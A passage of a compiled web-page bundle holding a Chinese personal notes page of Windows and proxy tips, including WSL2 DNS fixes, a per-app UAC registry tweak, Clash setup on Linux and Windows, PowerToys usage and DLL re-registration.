    ',10),en={href:"https://mos86.com/95722.html",target:"_blank",rel:"noopener noreferrer"},nn=e("br",null,null,-1),an=e("p",null,"重启计算机, 检查下是否有虚拟机运行异常",-1),sn=e("blockquote",null,[e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20211218194344.png",alt:"20211218194344"}),e("br"),n(" 基于 Hyper-V 的 BlueStacks 模拟器运行正常"),e("br"),e("strong",null,"WSL2 异常")])],-1),tn=e("hr",null,null,-1),ln=e("h6",{id:"wsl2-dns-服务异常",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#wsl2-dns-服务异常","aria-hidden":"true"},"#"),n(" WSL2 DNS 服务异常")],-1),on=e("p",null,"无法正确解析域名, 直接 ping ip 可以 ping 通, 排查了一圈发现主网也 ping 不通",-1),rn={href:"https://blog.csdn.net/daihaoxin/article/details/115978662",target:"_blank",rel:"noopener noreferrer"},cn=t('

    20211218213224

    配置主网防火墙入站规则

    然后在 WSL2 里重新 ping 主网又能 ping 通了, DNS 也正常了, 可以 ping 同其他域名了

    缺点在于计算机重启后 WSL2 主网地址可能会变(
    需要再配下防火墙
    挺秃然的, 没有完全搞清楚原理, 无法一劳永逸地解决这个问题


    针对某一软件关闭用户账户控制

    ',8),dn={href:"https://zhidao.baidu.com/question/295265277.html",target:"_blank",rel:"noopener noreferrer"},pn=t(`

    当设置了应用以管理员身份运行时, 在运行应用时会弹出一个用户账户控制的弹窗, 你要允许此应用对你的设备进行更改吗?, 用户只有点击 之后才能正常运行应用, 对于一个已经设置了以管理员身份运行的应用要跳过此步的话可以做如下操作

    打开注册表编辑器在 HKEY_CURRENT_USERS\\Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers 下新建值

    image-20221101233113947


    命令行重启文件资源管理器

    Windows 的任务栏和文件资源管理器(Explorer) 是一体的, 因此如果出现了任务栏莫名卡死或者消失的问题时可以在任务管理器中找到文件资源管理器并重启

    有时候可能在任务管理器中没能找到文件资源管理器, 或者查找比较困难, 那么此时也可以使用命令行或者 powershell 来终止并启动 explorer

    # 强制终止 explorer
    +taskkill /IM explorer.exe /F
    +# 启动 explorer
    +explorer
    +

    你需要来自 S-1-5-21-XXXX-XXX-XXX 的权限才能对此文件夹进行更改

    `,11),un={href:"https://answers.microsoft.com/zh-hans/windows/forum/all/%E4%BD%A0%E9%9C%80%E8%A6%81%E6%9D%A5%E8%87%AA-s-1/8fab1a9a-412a-44f9-915b-6743d8b8dffb",target:"_blank",rel:"noopener noreferrer"},hn={href:"https://www.xitongcheng.com/jiaocheng/win10_article_14750.html",target:"_blank",rel:"noopener noreferrer"},mn=e("p",null,"重装系统但是没格式化其他盘符, 在同步 Onedrive 时发现没有文件操作权限, 尝试删除提示需要来自 S-1-5-21-xxxx 的权限才能删除, 猜测是原本系统用户创建的文件, 在系统被扬了之后用户找不到了就变成 S-1-5-xx 这种不可读的形式了",-1),gn=e("p",null,[n("解决方案为 "),e("code",null,"右键文件夹->属性->安全->高级"),n(" 可以看到所有者是 "),e("code",null,"S-1-5-xxx"),n(", 勾选")],-1),bn=e("hr",null,null,-1),_n=e("hr",null,null,-1),vn=e("h2",{id:"图片ocr-表格",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#图片ocr-表格","aria-hidden":"true"},"#"),n(" 图片OCR->表格")],-1),fn={href:"https://web.baimiaoapp.com/image-to-excel",target:"_blank",rel:"noopener noreferrer"},kn=e("hr",null,null,-1),En=e("h2",{id:"英语学习",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#英语学习","aria-hidden":"true"},"#"),n(" 英语学习")],-1),yn=e("p",null,[e("code",null,"背单词"),n(":")],-1),xn={href:"https://saladict.crimx.com/download.html",target:"_blank",rel:"noopener noreferrer"},wn={href:"https://saladict.crimx.com/manual.html",target:"_blank",rel:"noopener noreferrer"},An={href:"https://saladict.crimx.com/notice.html",target:"_blank",rel:"noopener noreferrer"},Bn={href:"https://saladict.crimx.com/anki.html",target:"_blank",rel:"noopener noreferrer"},Dn=e("li",null,[n("也支持欧路词典, 扇贝单词和 WebDAV 方式同步 "),e("img",{src:"https://cdn.ayusummer233.top/img/20220117225152.png",alt:"20220117225152"})],-1),qn=e("hr",null,null,-1),Cn=e("h2",{id:"clash",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#clash","aria-hidden":"true"},"#"),n(" clash")],-1),Pn={href:"https://github.com/Dreamacro/clash",target:"_blank",rel:"noopener noreferrer"},Sn=e("br",null,null,-1),Nn={href:"https://github.com/Dreamacro/clash-dashboard",target:"_blank",rel:"noopener noreferrer"},Wn={href:"https://www.alvinkwok.cn/2022/01/29/2022/01/Clash%20For%20Linux%20Install%20Guide/",target:"_blank",rel:"noopener noreferrer"},Mn=e("hr",null,null,-1),Tn={href:"https://clashdingyue.tk/2022/06/%E6%AD%A3%E7%A1%AE%E9%85%8D%E7%BD%AEClash-For-Windows/",target:"_blank",rel:"noopener noreferrer"},Fn={href:"https://cornradio.github.io/hugo/posts/4minxin-howtouse/",target:"_blank",rel:"noopener noreferrer"},Un={href:"https://cornradio.github.io/hugo/posts/%E8%AE%A9steam%E7%BB%95%E8%BF%87clash%E7%B3%BB%E7%BB%9F%E4%BB%A3%E7%90%86/",target:"_blank",rel:"noopener noreferrer"},In=e("hr",null,null,-1),zn={href:"https://www.freebuf.com/vuls/323348.html",target:"_blank",rel:"noopener noreferrer"},On=t("

    Clash Version <= V0.19.8 存在 RCE 漏洞, 建议升级到 V0.19.10 及以上版本


    Windows 端的配置比较方便, Linux 端主要需要注意普通用户和root用户的区别以及需要多配置一个 dashboard 来管理

    下面主要记录下 ubuntu 上使用 clash 的随笔

    需要注意的是, 使用不同的用户进行操作生成的配置文件会在对应用户的 .config 目录下, 如下记录的是使用 root 用户登录时进行的操作(SSH 链接的 ubuntu 设备, 习惯了 root; 相应的桌面端的话一般是普通用户)

    /root/.config/ 目录下新建一个 clash 目录

    ",6),Gn={href:"https://github.com/Dreamacro/clash/releases",target:"_blank",rel:"noopener noreferrer"},Vn={href:"https://github.com/Dreamacro/clash/releases/download/v1.13.0/clash-linux-amd64-v1.13.0.gz",target:"_blank",rel:"noopener noreferrer"},Ln=t(`
    # 解压该 gz 包得到一个文件, 给该文件加上执行权限
    +gunzip clash-linux-amd64-v1.13.0.gz
    +chmod u+x clash-linux-amd64-v1.13.0
    +

    clone dashboard 仓库并切换到 gh-pages 分支:

    git clone https://github.com/Dreamacro/clash-dashboard.git
    +cd clash-dashboard
    +git checkout -b gh-pages origin/gh-pages
    +

    尝试过使用镜像 clone, 但是在 git checkout -b gh-pages origin/gh-pages 这步会报错找不到 origin/gh-pages 分支, 由于裸连能 clone 下来所以没再处理

    下载配置信息

    sudo wget -O config.yaml [订阅链接]
    +sudo wget -O Country.mmdb https://www.sub-speeder.com/client-download/Country.mmdb
    +

    编辑 config.yaml 的如下三个属性, 分别对应页面端口, 访问密钥以及页面所在目录

    external-controller: '0.0.0.0:9090'
    +secret: 'xxxxxxx'
    +external-ui: '/root/.config/clash/clash-dashboard'
    +

    尝试运行 clash

    screen -S clash
    +./clash-linux-amd64-v1.13.0
    +

    访问 [ip]:[port]/ui 输入密钥登入

    到这里没问题的话就可以配置下系统代理了

    image-20230201151825066

    有些程序不走系统代理,需要单独配置,比如 git, 需要单独进行配置

    git config --global http.proxy "http://127.0.0.1:7890"
    +

    pip 报错 ValueError: check_hostname requires server_hostname

    image-20230718235830248

    image-20230718235900189

    解决方案: 打开该项配置:

    image-20230719000029091

    `,21),Hn={href:"https://github.com/python/cpython/pull/26307",target:"_blank",rel:"noopener noreferrer"},Rn=e("p",null,"开了之后就正常了:",-1),Xn=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307190000747.png",alt:"image-20230719000057721"})],-1),jn=e("hr",null,null,-1),Yn=e("hr",null,null,-1),Qn=e("h3",{id:"tun-mode",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#tun-mode","aria-hidden":"true"},"#"),n(" TUN Mode")],-1),Jn={href:"https://docs.cfw.lbyczf.com/contents/tun.html",target:"_blank",rel:"noopener noreferrer"},Kn={href:"https://clashdingyue.tk/2022/06/%E6%AD%A3%E7%A1%AE%E9%85%8D%E7%BD%AEClash-For-Windows/",target:"_blank",rel:"noopener noreferrer"},Zn={href:"https://blog.dejavu.moe/posts/cfw-tun/",target:"_blank",rel:"noopener noreferrer"},$n=e("p",null,"Clash 有三种代理模式",-1),ea=t("
  • 系统代理模式

  • Clash Tap Device模式

  • Clash TUN Mode模式

    注意: 近期大部分浏览器默认已经开启“安全 DNS”功能,此功能会影响 TUN 模式劫持 DNS 请求导致反推域名失败,请在浏览器设置中关闭此功能以保证 TUN 模式正常运行

  • ",3),na=e("p",null,"什么情况下需要开启TAP/TUN ?",-1),aa=e("li",null,"在使用一些游戏软件需要加速,或者一些不遵循系统代理的软件时,需要开启 TAP/TUN 模式。",-1),sa=e("li",null,"专业用户,例如IT、开发人员,需要经常操作终端,使用开发软件,用到Linux子系统的建议使用TUN模式。",-1),ta=e("li",null,"其实大部分软件都走系统代理,例如浏览器,但是有些不走系统代理,例如某些游戏,Git等。平时使用浏览器翻墙,比如访问google网站,或者使用一些遵循系统代理的软件时,不需要开启 TAP/TUN 模式。建议直接使用系统代理模式。",-1),la=e("code",null,"UWP Loopback",-1),ia=e("code",null,"Fiddler Web Debuger",-1),oa={href:"https://blog.dejavu.moe/posts/git-npm-yarn-proxy/",target:"_blank",rel:"noopener noreferrer"},ra=e("li",null,[e("mark",null,"在使用局域网VPN时"),n(", 如果同时启用了 TUN Mode 可能会导致网络异常, 此时建议使用 System Proxy")],-1),ca=e("p",null,[n("启用 TUN Mode("),e("code",null,"0.19.27"),n("以上版本)")],-1),da=e("code",null,"General",-1),pa=e("code",null,"Service Mode",-1),ua=e("code",null,"Manage",-1),ha=e("code",null,"绿色",-1),ma={href:"https://docs.cfw.lbyczf.com/contents/questions.html#service-mode-%E6%97%A0%E6%B3%95%E5%AE%89%E8%A3%85-windows",target:"_blank",rel:"noopener noreferrer"},ga={href:"https://github.com/Fndroid/clash_for_windows_pkg/issues/2839",target:"_blank",rel:"noopener noreferrer"},ba=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307190030213.png",alt:"image-20230719003009188"})],-1),_a=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/DailyNotes/202307190030538.png",alt:"image-20230719003029472"})],-1),va=t('
  • 点击GeneralTUN Mode右边开关启动 TUN 模式

    相应的需要关闭 System Proxy, 如果装了 Tap Server 也需要相应 uninstall, 因为三种模式之间可能会冲突

    image-20230719003133662

    如果使用system作为 TUN stack,需要同时在系统防火墙中将 clash core 放行,方法如下:

    0.19.27及以上版本中,点击 Clash Core 版本号前的图标,并在 UAC 弹窗(若有)中允许运行,CFW 将自动配置对应的防火墙规则。

    成功配置防火墙规则后该图标作为指示灯亮起。

    img

  • ',1),fa=e("hr",null,null,-1),ka=e("h3",{id:"mixin",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#mixin","aria-hidden":"true"},"#"),n(" Mixin")],-1),Ea={href:"https://docs.cfw.lbyczf.com/contents/mixin.html",target:"_blank",rel:"noopener noreferrer"},ya={href:"https://cornradio.github.io/hugo/posts/4clash-minxin-howtouse/",target:"_blank",rel:"noopener noreferrer"},xa=t(`

    简单说,mixin是一种混合配置的方式,你可以把自己的配置注入到“配置文件”中,这样就可以在一定程度上的自定义配置了,比如加入一些你自己的规则之类的。

    image-20230719004524193

    例如:在配置文件中统一添加dns字段,操作如下:

    1. 进入 Settings 页面

    2. 滚动至 Profile Mixin 栏

    3. 点击 YAML 右边 Edit 小字打开编辑界面

    4. 在修改编辑界面内容为:

      mixin: # 注意下面缩进
      +  dns:
      +    enable: true
      +    listen: :53
      +    nameserver:
      +      - 8.8.8.8
      +
    5. 点击编辑器右下角保存

    在启动或切换配置时,上面内容将会替换到原有配置文件中进行覆盖

    TIP

    配置文件内容不会被修改,混合行为只会发生在内存中

    可以通过任务栏图标菜单开关这个行为


    Bypass

    `,8),wa={href:"https://docs.cfw.lbyczf.com/contents/bypass.html",target:"_blank",rel:"noopener noreferrer"},Aa={href:"https://github.com/Fndroid/clash_for_windows_pkg/issues/2035",target:"_blank",rel:"noopener noreferrer"},Ba={href:"https://cornradio.github.io/hugo/posts/%E8%AE%A9steam%E7%BB%95%E8%BF%87clash%E7%B3%BB%E7%BB%9F%E4%BB%A3%E7%90%86/",target:"_blank",rel:"noopener noreferrer"},Da=t(`

    可以自定义系统代理需要绕过的域名或 IP, 常用于配置局域网域名不使用代理或是其他指定的不想使用代理的域名(例如Steam游戏下载)

    image-20230719005351367

    一般情况下后台基本都会挂着 Clash, 然而当需要登 Steam 下游戏时, 如果当前代理的配置中相应域名走了 Proxy 那就比较耗流量且较慢(毕竟 Steam 下载设置中是可以设置国内地区的)

    此时则可以修改

    bypass:
    +# Steam中国大陆地区游戏下载
    +  - "steampipe.steamcontent.tnkjmec.com" #华为云
    +  - "st.dl.eccdnx.com" #白山云
    +  - "st.dl.bscstorage.net"
    +  - "st.dl.pinyuncloud.com"
    +  - "dl.steam.clngaa.com" #金山云
    +  - "cdn.mileweb.cs.steampowered.com.8686c.com" #网宿云
    +  - "cdn-ws.content.steamchina.com"
    +  - "cdn-qc.content.steamchina.com" #腾讯云
    +  - "cdn-ali.content.steamchina.com" #阿里云
    +# Steam非中国大陆地区游戏下载/社区实况直播
    +  - "*.steamcontent.com"
    +# Steam国际创意工坊下载CDN
    +  - "steamusercontent-a.akamaihd.net" #CDN-Akamai
    +# Origin游戏下载
    +  - "ssl-lvlt.cdn.ea.com" #CDN-Level3
    +  - "origin-a.akamaihd.net" #CDN-Akamai
    +# Battle.net战网中国大陆地区游戏下载
    +  - "client05.pdl.wow.battlenet.com.cn" #华为云
    +  - "client02.pdl.wow.battlenet.com.cn" #网宿云
    +# Battle.net战网非中国大陆地区游戏下载
    +  - "level3.blizzard.com" #CDN-Level3
    +  - "blzddist1-a.akamaihd.net" #CDN-Akamai
    +  - "blzddistkr1-a.akamaihd.net"
    +  - "kr.cdn.blizzard.com" #CDN-Blizzard
    +  - "us.cdn.blizzard.com"
    +  - "eu.cdn.blizzard.com"
    +# Epic Games中国大陆地区游戏下载
    +  - "epicgames-download1-1251447533.file.myqcloud.com"
    +# Epic Games非中国大陆地区游戏下载
    +  - "epicgames-download1.akamaized.net" #CDN-Akamai
    +  - "download.epicgames.com" #CDN-Amazon
    +  - "download2.epicgames.com"
    +  - "download3.epicgames.com"
    +  - "download4.epicgames.com"
    +# Rockstar Launcher客户端更新/游戏更新/游戏下载
    +  - "gamedownloads-rockstargames-com.akamaized.net"
    +# GOG中国大陆游戏下载/客户端更新
    +  - "gog.qtlglb.com"
    +# GOG非中国大陆游戏下载/客户端更新
    +  - "cdn.gog.com"
    +  - "galaxy-client-update.gog.com"
    +

    桌面显示器屏幕使用体验

    写这份随笔的时候已经入手 小米 34英寸 WQHD 这款带鱼屏一个月有余了, 实际体验下来确实比之前双屏三屏副屏的时候体验要好不少, 至少脖子没有那么不舒服了

    最开始有副屏需求是为了能够边写代码边看文档, 但是笔记本 15.6 英寸的屏幕同时代码和文档两个窗口的话太挤, 要么代码看不全要么文档看不全, 最初尝鲜副屏没有太多预算, 于是花 236 在咸鱼淘了个 13.5 英寸 1080P 的 DIY 副屏

    image-20220328222132611

    image-20220328222148173

    从无到有的体验还是比较奇妙的, 总的来说写代码的体验有了质的提升, 至少不用来回切屏了, 不过 DIY副屏驱动板拖着一根排线接着屏幕, 支架也是个 DIY 的塑料支架, 直到有一次在图书馆折了支架又裂了排线后有了换屏幕的想法, 再加上 13.6 英寸的屏幕感觉还是有些小, 于是又入了一个 23.8 英寸的 熊猫 PH24QA2

    image-20220328222820090

    感觉屏幕素质还好, 不过这款显示器就无法竖起来放置了, 基本上都是斜着放置在左侧, 比起上一个可以竖起来放置的 13.6 英寸的 DIY 屏幕, 这款显示器的优势在于屏幕更大了, 可以放下更多的内容, 不过纵向长度感觉变短了

    用过一段时间的左边是 23.8 英寸的显示器, 中间放个 15.6 英寸的笔记本, 右边竖起来放置一个 13.6 英寸 DIY 屏幕, 不过后面由于宿舍桌子长度有限且二人共用因此撤掉了右侧的 DIY 屏幕送给室友用了

    用了一段时间后愈发觉得这个显示器别扭, 放文档的话为了减少脖子扭动的幅度一般会放在靠近笔记本屏幕的一侧贴半边, 不过这也就导致了显示器的左半侧使用是一个比较尴尬的地方, 我需要扭动脖子将近 60° 去看左半边的屏幕, 这对脖子太不友好了, 而且两个屏幕之前的大块空隙完全是视野无效区域, 就算是在显示器右半边看文档, 时间长了脖子还是会有些酸痛, 于是就有了入个大点的屏幕的想法, 于是在今年 2 月入了小米的这款 34 英寸的带鱼屏

    image-20220328224024373

    宿舍桌面空间有限, 就把笔记本放在了桌面上层的书架格子上背过放置, 这样比较方便走线

    左侧那个显示器拍摄当时是想出掉所以拿出来放在侧边准备截下参数和色域检测以及坏点检测之类的图的, 并不是与带鱼屏一起使用(而且也不想再大浮动扭脖子看另一个屏幕了

    一个月的使用体验上来看, 带鱼屏对于我个人码代码方面还是比较友好的, 属于是折腾这么长时间以来使用体验最舒服的一次折腾 (当然也是最贵的一次(ಥ_ಥ)

    windows 自带的分屏可以覆盖大多数应用场景


    Win11 设置合盖不休眠

    控制面板 -> 硬件和声音 -> 电源选项 -> 选择关闭笔记本计算机盖的功能 -> 关闭盖子时不采取任何操作

    image-20220707003226256


    Game

    Steam


    steam工具箱

    `,31),qa={href:"https://github.com/SteamTools-Team/SteamTools/releases/tag/1.1.4",target:"_blank",rel:"noopener noreferrer"},Ca=t('
  • Releases找最新的一次发行,下载第一个压缩文件,解压即可使用
  • steam工具箱使用示意
  • 点加速后若提醒443端口被占用可以去找一下是什么进程占用了443端口
  • ',3),Pa=e("hr",null,null,-1),Sa=e("h3",{id:"手游模拟器",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#手游模拟器","aria-hidden":"true"},"#"),n(" 手游模拟器")],-1),Na=e("h4",{id:"蓝叠模拟器-5-支持-hyper-v",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#蓝叠模拟器-5-支持-hyper-v","aria-hidden":"true"},"#"),n(" 蓝叠模拟器 5(支持 Hyper-V)")],-1),Wa={href:"https://support.bluestacks.com/hc/zh-tw/articles/4412148150157-%E5%A6%82%E4%BD%95%E5%9C%A8-Windows-%E4%B8%8A%E7%82%BA-BlueStacks-5-%E9%96%8B%E5%95%9F-Hyper-V",target:"_blank",rel:"noopener noreferrer"},Ma=e("p",null,"需要注意的是模拟器启动程序务必使用管理员模式启动",-1),Ta=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/20211208145623.png",alt:"20211208145623"})],-1),Fa={href:"https://support.bluestacks.com/hc/zh-tw/articles/360057724751",target:"_blank",rel:"noopener noreferrer"},Ua=e("br",null,null,-1),Ia={href:"https://www.reddit.com/r/BlueStacks/comments/r7hvkw/bluestacks_5_cannot_start_bluestacks_on_win11_any/",target:"_blank",rel:"noopener noreferrer"},za=t('

    PowerToys


    自定义窗口布局

    image-20220508084455471

    使用快捷键打开 FancyZiones 编辑器:

    image-20220508083929402

    自定义完布局后按住 Shift 并拖动窗口就可以像使用原生贴边一样进行窗口排版了(如果设置了布局快捷键的话此时可以按下布局快捷键数字来显示自定义的不同布局进行贴靠)

    窗口之间不想留太多距离的话可以在自定义布局时将区域周围的空间设置为0

    image-20220508085213113


    调整图像大小

    image-20220508085743432

    image-20220508085807402

    image-20220508085728963

    image-20220508085838940

    image-20220508090021884


    始终置项

    image-20220508090222743

    image-20220508090404436

    始终此功能可以将一些不支持置项的窗口进行置项(比如原生的便筏)

    image-20220508090440581


    文件资源管理器加载项

    enmmm, 本身 explorer 就比较卡, 平时能不打开Explorer就不打开Explorer, 因此对这项功能无感


    鼠标实用工具

    image-20220508091000734

    最有用的地方在于可以双击ctrl来找鼠标指针, 会有一个聚焦效果, 不用再乱晃鼠标找指针了

    image-20220508091126088

    荧光笔功能比较无感, 鼠标按住移动的时候周围会有一圈高亮(类似上面的聚焦圈圈换个亮黄色), 但是不显示轨迹, 就是单纯的一个跟着指针的圈


    字体


    中易宋体和微软雅黑

    ',37),Oa={href:"https://www.zhihu.com/question/19855799",target:"_blank",rel:"noopener noreferrer"},Ga={href:"https://zhuanlan.zhihu.com/p/162838215",target:"_blank",rel:"noopener noreferrer"},Va={href:"https://zhuanlan.zhihu.com/p/30568782",target:"_blank",rel:"noopener noreferrer"},La=e("p",null,"总的来说, 微软雅黑不适合印刷品, 中易宋体是一种印刷字体但是比较平庸",-1),Ha=e("p",null,"而且这两款windows自带的字体虽然使用频率很高, 但是并不能免费商用",-1),Ra=e("hr",null,null,-1),Xa=e("h2",{id:"活动监控",tabindex:"-1"},[e("a",{class:"header-anchor",href:"#活动监控","aria-hidden":"true"},"#"),n(" 活动监控")],-1),ja={href:"https://wakatime.com",target:"_blank",rel:"noopener noreferrer"},Ya=e("p",null,[e("img",{src:"http://cdn.ayusummer233.top/img/202302012235552.png",alt:"image-20230201223505418"})],-1),Qa={href:"https://github.com/ActivityWatch/activitywatch",target:"_blank",rel:"noopener noreferrer"},Ja=t('

    image-20230201223638262


    零散报错

    Win11 下 QQ 调起文件资源管理器 C:\\WINDOWS\\SYSTEM32\\ntdll.dll 报错

    ',4),Ka={href:"https://blog.csdn.net/a874045/article/details/105579478",target:"_blank",rel:"noopener noreferrer"},Za=e("br",null,null,-1),$a={href:"https://www.reneelab.com.cn/windows-10-sfc-scannow.html",target:"_blank",rel:"noopener noreferrer"},es=t(`

    image-20211225082416864

    管理员权限打开 powershell 后输入

    sfc /SCANNOW  
    +

    20211225083521
    扫描完成, 未发现异常, 那可能是我注册表出了问题

    以管理员权限打开CMD, 执行以下命令把 %systemroot%\\system32 下所有的 dll 文件重新注册一遍

    for %1 in (%windir%\\system32\\*.dll) do regsvr32.exe /s %1
    +

    重启 QQ 后, 可以正常调起 Explorer 了

    可能是之前用 CCleaner 清注册表的时候误删了

    `,9);function ns(as,ss){const a=i("ExternalLinkIcon");return o(),r("div",null,[d,e("blockquote",null,[e("p",null,[e("a",p,[n("黑客说 - 技术驱动优质交流 (hackertalk.net)"),s(a)])])]),u,h,m,g,e("blockquote",null,[e("p",null,[e("a",b,[n("公共DNS推荐及dns测速 - fogwu - 博客园 (cnblogs.com)"),s(a)])])]),_,e("blockquote",null,[e("p",null,[e("a",v,[n("从计算机专业学生到程序员大佬,都一定受用的计算机行业高含金量证书盘点!_哔哩哔哩_bilibili"),s(a)])]),f,k]),E,y,e("blockquote",null,[e("p",null,[e("a",x,[n("中国计算机技术职业资格网"),s(a)])])]),w,A,B,D,q,e("blockquote",null,[e("p",null,[e("a",C,[n("PAT 计算机程序设计能力测试 (patest.cn)"),s(a)])])]),P,S,N,e("blockquote",null,[e("p",null,[e("a",W,[n("首页-项目管理职业资格认证 (chinapmp.cn)"),s(a)])])]),M,e("blockquote",null,[e("p",null,[e("a",T,[n("华为认证 (huawei.com)"),s(a)])])]),F,e("blockquote",null,[e("p",null,[e("a",U,[n("关于IDM调用火绒的设置 - 火绒安全软件 - 火绒安全软件 (huorong.cn)"),s(a)])])]),I,e("blockquote",null,[e("p",null,[e("a",z,[n("解决新版 Edge 浏览器无法使用 IDM 的问题_Xavier Jiezou的博客-CSDN博客_edge idm"),s(a)])])]),O,e("ul",null,[e("li",null,[e("a",G,[n("参考链接"),s(a)])]),V,L]),H,e("ul",null,[e("li",null,[n("或者使用"),e("a",R,[n("这个插件"),s(a)])])]),X,e("ul",null,[e("li",null,[n("多次同步,挂起,取消链接账户可能会导致 Explorer 左栏快捷访问中存在多个指向相同的 OneDrive 快捷访问"),j,e("a",Y,[n("删除OneDrive for Bussiness导航栏快捷方式_根号负一的博客-CSDN博客"),s(a)])])]),Q,J,e("ul",null,[e("li",null,[e("p",null,[e("a",K,[n("参考链接"),s(a)])]),Z]),$,ee]),ne,ae,e("ul",null,[e("li",null,[n("进入"),e("a",se,[n("微软开发者中心"),s(a)]),n("并进入Office子项"),te,le]),ie,e("li",null,[n("进入"),e("a",oe,[n("活跃用户界面"),s(a)]),re]),ce]),de,pe,ue,he,me,e("ul",null,[e("li",null,[e("a",ge,[n("参考视频"),s(a)])])]),be,e("ul",null,[_e,e("li",null,[e("p",null,[n("下载"),e("a",ve,[n("RaiDrive"),s(a)]),n("并安装到自定义位置后打开软件,可以自行更新到最新版本(本就是官网有提供的free版)"),fe,ke])])]),e("blockquote",null,[e("p",null,[n("如果安装的时候出现问题可以选择忽略,这样依然装好了,运行桌面上的快捷方式,在设置里面检查更新到最新版本安装的时候基本不会报错 也可以直接在"),e("a",Ee,[n("官网"),s(a)]),n("下载(可能需要一些魔法)")])]),ye,xe,we,Ae,e("blockquote",null,[e("ul",null,[e("li",null,[n("最初找这个只是为了能让"),e("a",Be,[n("PotPlayer"),s(a)]),n("能更方便地访问云盘中的视频资源从而在本地倍速播放云端的视频; "),De])])]),qe,Ce,Pe,e("blockquote",null,[e("p",null,[n("后记: 建议放弃在非apple设备上使用iCloud"),Se,n(" 有一说一,真的烂("),Ne,e("a",We,[n("删除win10 删除icloud后资源管理器icloud图标无法删除? - 知乎 (zhihu.com)"),s(a)])])]),Me,Te,e("blockquote",null,[e("p",null,[e("a",Fe,[n("快速开始 - Cloudreve"),s(a)])])]),Ue,e("blockquote",null,[e("p",null,[n("Docker 搭建可以参考: "),e("a",Ie,[n("nextcloud/all-in-one: Nextcloud AIO stands for Nextcloud All-in-One and provides easy deployment and maintenance with most features included in this one Nextcloud instance. --- nextcloud/all-in-one:Nextcloud AIO 代表 Nextcloud All-in-One,通过该 Nextcloud 实例中包含的大多数功能提供轻松的部署和维护。 (github.com)"),s(a)])])]),ze,e("blockquote",null,[e("p",null,[e("a",Oe,[n("Windows 10中的核心隔离和内存完整性是什么? | MOS86"),s(a)])])]),Ge,Ve,Le,e("blockquote",null,[e("p",null,[n("解决方案: "),e("a",He,[n("Windows 10 Core Isolation: Remove incompatible drivers - Administrator"),s(a)]),Re,e("a",Xe,[n("Core Isolation - Memory Integrity Not Turning On - Driver - Microsoft Community"),s(a)]),je,e("a",Ye,[n("PnPUtil 命令语法 - Windows drivers | Microsoft Docs"),s(a)]),Qe,e("a",Je,[n("PnPUtil 示例 - Windows drivers | Microsoft Docs"),s(a)])])]),Ke,e("blockquote",null,[e("p",null,[n("解决方案: "),e("a",Ze,[n("如何在卸载游戏后完全删除TP? - (qq.com)"),s(a)])])]),$e,e("blockquote",null,[e("p",null,[e("a",en,[n("Windows 10中的核心隔离和内存完整性是什么? | MOS86"),s(a)]),nn,n(" 查阅资料中发现这个功能可能会导致虚拟机运行异常, 不过遇见这种问题时再把功能关掉就是了(")])]),an,sn,tn,ln,on,e("blockquote",null,[e("p",null,[n("解决方案: "),e("a",rn,[n("WSL 2 自定义安装目录和网络配置_daihaoxin的专栏-CSDN博客_wsl2目录"),s(a)])])]),cn,e("blockquote",null,[e("p",null,[e("a",dn,[n("如何对某一程序取消用户账户控制_百度知道 (baidu.com)"),s(a)])])]),pn,e("blockquote",null,[e("p",null,[e("a",un,[n("你需要来自 S-1-5-21-XXXX-XXX-XXX - Microsoft Community"),s(a)])]),e("p",null,[e("a",hn,[n("Win10无法删除文件提示“你需要来自system的权限”的解决方案-系统城·电脑系统下载之家 (xitongcheng.com)"),s(a)])])]),mn,gn,bn,_n,vn,e("p",null,[e("a",fn,[n("白描"),s(a)])]),kn,En,yn,e("p",null,[e("a",xn,[n("沙拉查词"),s(a)])]),e("ul",null,[e("li",null,[e("a",wn,[n("使用文档"),s(a)])]),e("li",null,[e("a",An,[n("初次使用注意事项"),s(a)])]),e("li",null,[e("a",Bn,[n("配合Anki使用"),s(a)])]),Dn]),qn,Cn,e("blockquote",null,[e("p",null,[e("a",Pn,[n("Github/Dreamacro/clash"),s(a)]),Sn,e("a",Nn,[n("Github/Dreamacro/clash-dashboard"),s(a)]),e("a",Wn,[n("alvinkwok/clashForLinux安装配置"),s(a)])]),Mn,e("p",null,[e("a",Tn,[n("正确配置Clash For Windows的TUN、TAP、系统代理三种模式? | 来去之间 (clashdingyue.tk)"),s(a)])]),e("p",null,[e("a",Fn,[n("clash 中的 minxin 使用教程 - cornradio的技术博客"),s(a)])]),e("p",null,[e("a",Un,[n("steam如何绕过clash的全局代理 - cornradio的技术博客"),s(a)])]),In]),e("blockquote",null,[e("p",null,[e("a",zn,[n("Clash for windows RCE 漏洞 - FreeBuf网络安全行业门户"),s(a)])])]),On,e("p",null,[n("在 "),e("a",Gn,[n("Releases · Dreamacro/clash (github.com)"),s(a)]),n(" 下载对应的安装包, 这里我选择的是 "),e("a",Vn,[n("clash-linux-amd64-v1.13.0.gz"),s(a)])]),Ln,e("blockquote",null,[e("p",null,[e("a",Hn,[n("bpo-42627: Fix wrong parsing of Windows registry proxy settings by CrazyBoyFeng · Pull Request #26307 · python/cpython · GitHub"),s(a)])])]),Rn,Xn,jn,Yn,Qn,e("blockquote",null,[e("p",null,[e("a",Jn,[n("TUN 模式 | Clash for Windows (lbyczf.com)"),s(a)])]),e("p",null,[e("a",Kn,[n("正确配置Clash For Windows的TUN、TAP、系统代理三种模式? | 来去之间 (clashdingyue.tk)"),s(a)])]),e("p",null,[e("a",Zn,[n("Clash for Windows 优雅地使用 TUN 模式接管系统流量 · Dejavu's Blog"),s(a)])])]),$n,e("ul",null,[ea,e("li",null,[na,e("ul",null,[aa,sa,ta,e("li",null,[n("Windows 中的 UWP 应用是无法走这个代理的,因为 UWP 应用网络隔离的‘沙箱’特性,因此我们还需要使用 "),la,n(" 中的轻量 "),ia,n(" 来解锁 UWP 